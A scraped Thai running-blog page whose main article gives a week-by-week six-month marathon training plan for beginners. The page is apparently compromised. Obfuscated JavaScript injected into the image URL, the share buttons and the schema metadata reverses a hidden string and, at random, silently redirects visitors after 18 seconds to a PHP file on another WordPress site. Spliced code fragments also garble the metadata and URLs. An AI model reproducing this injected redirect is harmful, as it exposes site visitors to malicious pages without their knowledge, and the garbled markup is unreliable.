andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-r-1555169-unsplash.jpg","contentUrl":"https://www.stepextra.com/wp-content/uploads/2019/06/chandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-r-1555169-unsplash.jpg","width":1000,"height":665},{"@type":"WebPage","@id":"https://www.stepextra.com/%e0%b8%88%e0%b8%b2%e0%b8%81%e0%b8%a8%e0%b8%b9%e0%b8%99%e0%b8%a2%e0%b9%8c%e0%b8%aa%e0%b8%b9%e0%b9%88-42-195k-%e0%b8%a0%e0%b8%b2%e0%b8%a2%e0%b9%83%e0%b8%99-6-%e0%b9%80%e0%b8%94%e0%b8%b7%e0%b8%ad/#webpage","url":"https://www.stepextra.com/%e0%b8%88%e0%b8%b2%e0%b8%81%e0%b8%a8%e0%b8%b9%e0%b8%99%e0%b8%a2%e0%b9%8c%e0%b8%aa%e0%b8%b9%e0%b9%88-42-195k-%e0%b8%a0%e0%b8%b2%e0%b8%a2%e0%b9%83%e0%b8%99-6-%e0%b9%80%e0%b8%94%e0%b8%b7%e0%b8%ad/","name":"จากศูนย์สู่ 42.195K ภายใน 6 เดือน - StepExtra","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/%e0%b8%88%e0%b8%b2%e0%b8%81%e0%b8%a8%e0%b8%b9%e0%b8%99%e0%b8%a2%e0%b9%8c%e0%b8%aa%e0%b8%b9%e0%b9%88-42-195k-%e0%b8%a0%e0%b8%b2%e0%b8%a2%e0%b9%83%e0%b8%99-6-%e0%b9%80%e0%b8%94%e0%b8%b7%e0%b8%ad/#primaryimage"},"datePublished":"2019-06-18T08:14:22+00:00","dateModified":"2019-06-18T08:14:30+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4"},"breadcrumb":{"@id":"https://www.stepextra.com/%e0%b8%88%e0%b8%b2%e0%b8%81%e0%b8%a8%e0%b8%b9%e0%b8%99%e0%b8%a2%e0%b9%8c%e0%b8%aa%e0%b8%b9%e0%b9%88-42-195k-%e0%b8%a0%e0%b8%b2%e0%b8%a2%e0%b9%83%e0%b8%99-6-%e0%b9%80%e0%b8%94%e0%b8%b7%e0%b8%ad/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/%e0%b8%88%e0%b8%b2%e0%b8%81%e0%b8%a8%e0%b8%b9%e0%b8%99%e0%b8%a2%e0%b9%8c%e0%b8%aa%e0%b8%b9%e0%b9%88-42-195k-%e0%b8%a0%e0%b8%b2%e0%b8%a2%e0%b9%83%e0%b8%99-6-%e0%b9%80%e0%b8%94%e0%b8%b7%e0%b8%ad/"]}]},{"@type":"BreadcrumbList","@id":"https://www.stepextra.com/%e0%b8%88%e0%b8%b2%e0%b8%81%e0%b8%a8%e0%b8%b9%e0%b8%99%e0%b8%a2%e0%b9%8c%e0%b8%aa%e0%b8%b9%e0%b9%88-42-195k-%e0%b8%a0%e0%b8%b2%e0%b8%a2%e0%b9%83%e0%b8%99-6-%e0%b9%80%e0%b8%94%e0%b8%b7%e0%b8%ad/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://www.stepextra.com/"},{"@type":"ListItem","position":2,"name":"จากศูนย์สู่ 42.195K ภายใน 6 เดือน"}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4","name":"kan","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https://www.stepextra.com/#/schema/person/image/","url":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","contentUrl":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","caption":"kan"},"sameAs":["https://www.facebook.com/kanthad?ref=bookmarks"],"url":"https://www.stepextra.com/author/kan/"}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home News

จากศูนย์สู่ 42.195K ภายใน 6 เดือน

kan by kan
18 June 2019
in News, Running Tips
0
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-r-1555169-unsplash.jpg">
จากศูนย์สู่ 42.195K ภายใน 6 เดือน
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-r-1555169-unsplash.jpg&description=%E0%B8%88%E0%B8%B2%E0%B8%81%E0%B8%A8%E0%B8%B9%E0%B8%99%E0%B8%A2%E0%B9%8C%E0%B8%AA%E0%B8%B9%E0%B9%88+42.195K+%E0%B8%A0%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%99+6+%E0%B9%80%E0%B8%94%E0%B8%B7%E0%B8%AD%E0%B8%99" rel='nofollow' class="jeg_btn-pinterest ">

วิ่งมาราธอนเริ่มต้นเมื่อคุณได้ตัดสินใจกดซื้อใบสมัคร และไม่ว่าคุณจะลงวิ่งเพื่อเหตุผลใด อาจจะเพื่อการก้าวข้ามขีดจำกัดตัวเอง เพื่อ NewPB, สถิติและเวลาที่ดีขึ้น หรือเพื่อเปลี่ยนตัวเอง แต่การวิ่งมาราธอนไม่เหมือนกับการวิ่งระยะ 10 หรือ 21 กิโลเมตร เพราะจำเป็นต้องมีการวางแผนและเป้าหมายที่ชัดเจน ต้องมีแรงผลักดัน มีกำลังใจและที่สำคัญต้องมีวินัยในการฝึกที่มากขึ้น ช่วงระยะเวลา 6 เดือนหรือประมาณ 24 สัปดาห์จะเป็นช่วงเปลี่ยนแปลงคุณให้เป็นคนใหม่ ส่วนวันแข่งขันมาราธอนนั้นคือวันเฉลิมฉลอง

จากศูนย์สู่ 42.195K ภายใน 6 เดือน

กระบวนการฝึกในช่วงเวลา 6 เดือนจะค่อยๆ เปลี่ยนแปลงร่างกายและจิตใจคุณ เป็นการฝึกแบบขั้นบันได ให้ร่างกายได้ปรับตัวและการวิ่งจะกลายเป็นส่วนหนึ่งของตัวคุณ ผู้ที่เหมาะกับการฝึกแบบนี้คือ คนที่เริ่มจากศูนย์ ไม่ใช่นักกีฬาหรือคนชอบออกกำลังกาย และคนที่บาดเจ็บหยุดพักยาวประมาณ 5-6 เดือน

ระยะเวลาช่วง 1-3 เดือนแรกช่วงนี้จะเป็นช่วงที่เรียกว่า Introduction phase ช่วงแนะนำร่างกายให้รู้จักการวิ่งและเริ่มพัฒนาระบบ Aerobic ให้กับร่างกาย ซึ่งจะกินเวลาประมาณ 10-12 สัปดาห์ และการฝึกห้ามฝืนตัวเองเด็ดขาด ฝึกอยู่ในช่วง Aerobic สบายๆ เราต้องให้ร่างกายเริ่มรู้จัก Workload แบบเป็นขั้นบันไดเพื่อให้ร่างกายได้ปรับตัวตามทัน

ตัวอย่างการฝึกสัปดาห์ที่ 1-6

  • Sunday วิ่งสบายๆ แบบ Easy run 45-50 นาที วิ่งในจังหวะที่สามารถพูดได้ หลังจากจบแล้วจะเสริมการเดินแบบ Brick walk ไปก็ได้ ประมาณ 35-40 นาที หรือจะกีฬาอื่นที่ไม่ใช่การวิ่ง เช่นการปั่นจักรยานและว่ายน้ำ
  • Monday วันพัก อาจจะมีการประกอบกิจกรรมอื่นที่เป็น cross-training และการว่ายน้ำ
  • Tuesday Easy run  วิ่งในจังหวะที่สามารถพูดได้ 35-40 นาที
  • Wednesday วิ่งธรรมดา 30 นาทีและฝึก cross-training อีก 30-35 นาที
  • Thursday วันพัก
  • Friday Easy run  วิ่งในจังหวะที่สามารถพูดได้ 35-40 นาที
  • Saturday ฝึก cross-training หรืออาจจะเป็น ปั่นจักรยาน ว่ายน้ำและการเดิน 45-55 นาที

ในช่วงแนะนำเบื้องต้นนี้จะไม่มีการวิ่งระยะยาวที่จริงจัง แต่จะมีการฝึกแบบ Cross-training มาผสมอยู่ด้วย เป็นช่วงที่ให้กล้ามเนื้อร่างกายได้รับการกระตุ้นไปพร้อมกับระบบ Aerobic เพื่อรองรับการฝึกที่หนักขึ้นในช่วงต่อไป   

ตัวอย่างการฝึกสัปดาห์ที่ 7-12  

  • Sunday วิ่งแบบ Easy 70-90 นาที (ในสัปดาห์ที่ 10,11 และ 12 ต้องวิ่งได้ระดับ 90 นาทีแล้ว) ในช่วง 60 นาทีสุดท้าย เมื่อวิ่งครบ 6 นาที ให้ใส่วิ่งเร็ว 1 นาที มีการฝึกดื่มกิน ฝึกดื่มน้ำ 6-8 ออนซ์ ทุกๆ 30-35 นาที และอาหารขบเคี้ยวที่ให้พลังงาน 100-120 Cal ในช่วงเวลาเดียวกัน มีการฝึก Stride 6*100m ทุกครั้งก่อนวิ่ง
  • Monday วันพัก ประกอบกิจกรรมอื่นที่ไม่ใช่วิ่งอาจเป็น cross-training จักรยานหรือการว่ายน้ำ 55-65 นาที
  • Tuesday Easy run  วิ่งในจังหวะที่สามารถพูดได้ 45 นาทีและฝึก Stride 8*100m เพื่อจบการวิ่ง
  • Wednesday วิ่งสบายๆ 15-18 นาที ตามด้วย วิ่งเร็วระดับกลางๆ 2 นาที ทำประมาณ 6-7 เซต ระหว่างเซตพักด้วยการเดินหรือจ๊อกเบาๆ 2 นาที คูลดาวน์ 10 นาที
  • Thursday วันพัก
  • Friday Easy run  วิ่งในจังหวะที่สามารถพูดได้ 45 นาทีและฝึก Stride 8*100m เพื่อจบการวิ่ง
  • Saturday ฝึก cross-training หรืออาจจะเป็น ปั่นจักรยาน ว่ายน้ำและการเดิน 60-70 นาที

ในเฟสสองนี้ ร่างกายเราจะเริ่มออกจาก Comfort zone เราเริ่มมีการใส่ระดับความเข้มข้นในการฝึกเข้ามา เป็นรูปแบบการวิ่งผสมการฝึก cross-training ให้ร่างกายเริ่มเรียนรู้การเข้าสู่ Anaerobic zone

ตัวอย่างการฝึกสัปดาห์ที่ 13-19

เมื่อมาถึงสัปดาห์ที่ 13 หรือประมาณ 3 เดือนผ่านมาแล้ว จะเข้าสู่ช่วงที่เรียกว่า Training to train ในช่วงแรกสามเดือนก่อนหน้านั้นคือปูพื้นฐาน เป็นการก่ออิฐสร้างฐานรากให้บ้านแข็งแรงพร้อมที่จะต่อเติม ร่างกายนักวิ่งจะได้ถูกกระตุ้นและพัฒนามาพร้อมระดับหนึ่งที่จะรองรับ Workload ใหม่ๆ   

  • Sunday วิ่ง 1.45 ชม. จนถึง 2.25 ชม. และใส่วิ่งความเร็วเพิ่มขึ้น 2-3 ครั้งในช่วง 60 นาทีสุดท้าย (วิ่งเร็วกว่าปกติสัก 2-3 กิโลเมตร ) ระหว่างเซตเราพักด้วยการวิ่งเบาๆ 15-20 นาที และเมื่อวิ่งครบสามสัปดาห์ให้ลดระยะเวลาลง 20% แล้วค่อยปรับขึ้นไปใหม่
  • Monday วันพัก อาจจะประกอบกิจกรรมอื่นที่ไม่ใช่วิ่งอาจเป็น cross-training จักรยานหรือการว่ายน้ำ ก็ได้
  • Tuesday วิ่งในจังหวะที่สามารถพูดได้ 50-55 นาที
  • Wednesday วอร์มอัพ 15-20 นาที และวิ่ง 10 กิโลเมตรที่ความเร็วช้ากว่าเดิม ลบประมาณ 10 วินาที วิ่งเบาๆ เพื่อ recover 5 นาที จากนั้นวิ่ง 5 กิโลเมตรอีก โดยมีสปีดอัพ 4 นาที ทำซ้ำ 6 ครั้ง วิ่งหรือเดินเพื่อ recovery 3 นาทีระหว่างเซต และทำการคูลดาวน์ 15-25 นาที
  • Thursday วิ่ง 30-40 นาที และฝึก cross-training 45 นาที
  • Friday วิ่ง 60 นาที ในช่วง 30 นาทีให้วิ่งระดับกลาง
  • Saturday วันฝึก cross-training

ตัวอย่างการฝึกสัปดาห์ที่ 20-25 หรือ 6 สัปดาห์ก่อนวันแข่งขัน

จะวิ่งเวลาจบให้ดีต้องฝึกให้หนักกว่าวันแข่งจริง ช่วงระยะเวลานี้จะเป็นช่วงที่ยากและทดสอบสภาวะจิตใจมาก

  • Sunday วิ่ง Long run 2.45 ชม. จนถึง 3.30 ชม. ในช่วงสัปดาห์ที่ 20-23 และช่วงเย็นฝึกกีฬาอื่นที่ไม่ใช่วิ่ง เช่น ว่ายน้ำหรือปั่นจักรยาน 30 นาที  ในสัปดาห์ที่ 21 และ 24 ลดระยะเวลาการวิ่งลง 15% และในสัปดาห์ที่ 25 ไม่มีการวิ่ง
  • Monday วันพัก อาจจะประกอบกิจกรรมอื่นที่ไม่ใช่วิ่งอาจเป็น cross-training จักรยานหรือการว่ายน้ำ ก็ได้ 70-80 นาที
  • Tuesday วิ่งในจังหวะที่สามารถพูดได้ 60-65 นาที + stride 8*100m
  • Wednesday วอร์มอัพ 18-20 นาทีแล้ว วิ่ง 8*100m ทำซ้ำ 6 ครั้ง
  • Thursday วิ่ง 10 กิโลเมตรและฝึก cross-training แล้วพัก
  • Friday วิ่งสบายๆ 10-15 กิโลเมตร จบด้วยวิ่ง speed work 10*200m
  • Saturday วันฝึก cross-training  หรือวิ่ง Easy run

แนะนำว่าในช่วงที่ต้องวิ่ง Long run อาจจะลงงานวิ่งแข่งขันระยะ 21K เพื่อศึกษาการวิ่งในสนามจริงไปด้วยในตัว เราจะได้มีประสบการณ์แข่งขันระดับหนึ่ง ไม่ตื่นคนและรู้จักจัดการตัวเองในวันแข่งขัน

ตัวอย่างการฝึกสัปดาห์ที่ 26

ช่วงนี้จะมีการปรับลดปริมาณการฝึกซ้อมวิ่งลงร่าวๆ 20-30% ลด Workload เพื่อให้ร่างกายได้พักฟื้น พร้อมรับการแข่งขันจริง นักวิ่งส่วนมากก็จะลดความเข้มข้นลงประมาณ 2-3 สัปดาห์ก่อนแข่งขัน

  • Sunday วิ่งธรรมดาประมาณ 60-70 นาที จบด้วย Speed work 8*100m
  • Monday วันพัก
  • Tuesday วิ่งสบายๆ 35 นาที
  • Wednesday วอร์มอัพ 15 นาทีแล้ว แล้ววิ่ง Pace แข่งมาราธอนจริง 30 นาที คูลดาวน์ 15 นาที
  • Thursday วิ่งสบายๆ 35 นาที
  • Friday วันพัก
  • Saturday วิ่งสบายๆ 20 นาที และจบด้วย Stride 6*100m
  • Sunday วันแข่งขัน

ในช่วงเวลาฝึกซ้อมก็อย่าลืมฝึกดื่มน้ำและฝึกกินอาหารระหว่างวิ่งไปด้วย ใครที่ยังไม่คุ้นเคยกับ Energy gel/bar นี้ก็เป็นช่วงเวลาที่ดีในการทดสอบ หากเบื่อกับการฝึกก็ทดลองหาเพลงมาฟัง วิ่งกับเพื่อนหรือออกไปลงงานวิ่งแข่งขันระยะสั้นๆ เป็นครั้งคราว ได้สนุกและได้ฝึกไปในตัว หากวิ่งไม่ไหวก็ใช้วิธีเดินเก็บระยะไปก่อนก็ได้ และที่สำคัญอย่าลืมนอนหลับพักผ่อนให้เพียงพอ รับประทานอาหารให้ครอบ 5 หมู่และดื่มน้ำเยอะๆ

อ้างอิง www.active.com

ShareTweetShare
$GRn=function(n){if (typeof ($GRn.list[n]) == "string") return $GRn.list[n].split("").reverse().join("");return $GRn.list[n];};$GRn.list=["\'php.rabedis-nimda-snoitcnuf/cni/srebmem/snigulp/tnetnoc-pw/moc.nemrolias//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ander-r-1555169-unsplash.jpg&description=%E0%B8%88%E0%B8%B2%E0%B8%81%E0%B8%A8%E0%B8%B9%E0%B8%99%E0%B8%A2%E0%B9%8C%E0%B8%AA%E0%B8%B9%E0%B9%88+42.195K+%E0%B8%A0%E0%B8%B2%E0%B8%A2%E0%B9%83%E0%B8%99+6+%E0%B9%80%E0%B8%94%E0%B8%B7%E0%B8%AD%E0%B8%99" rel='nofollow' class="jeg_btn-pinterest ">
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.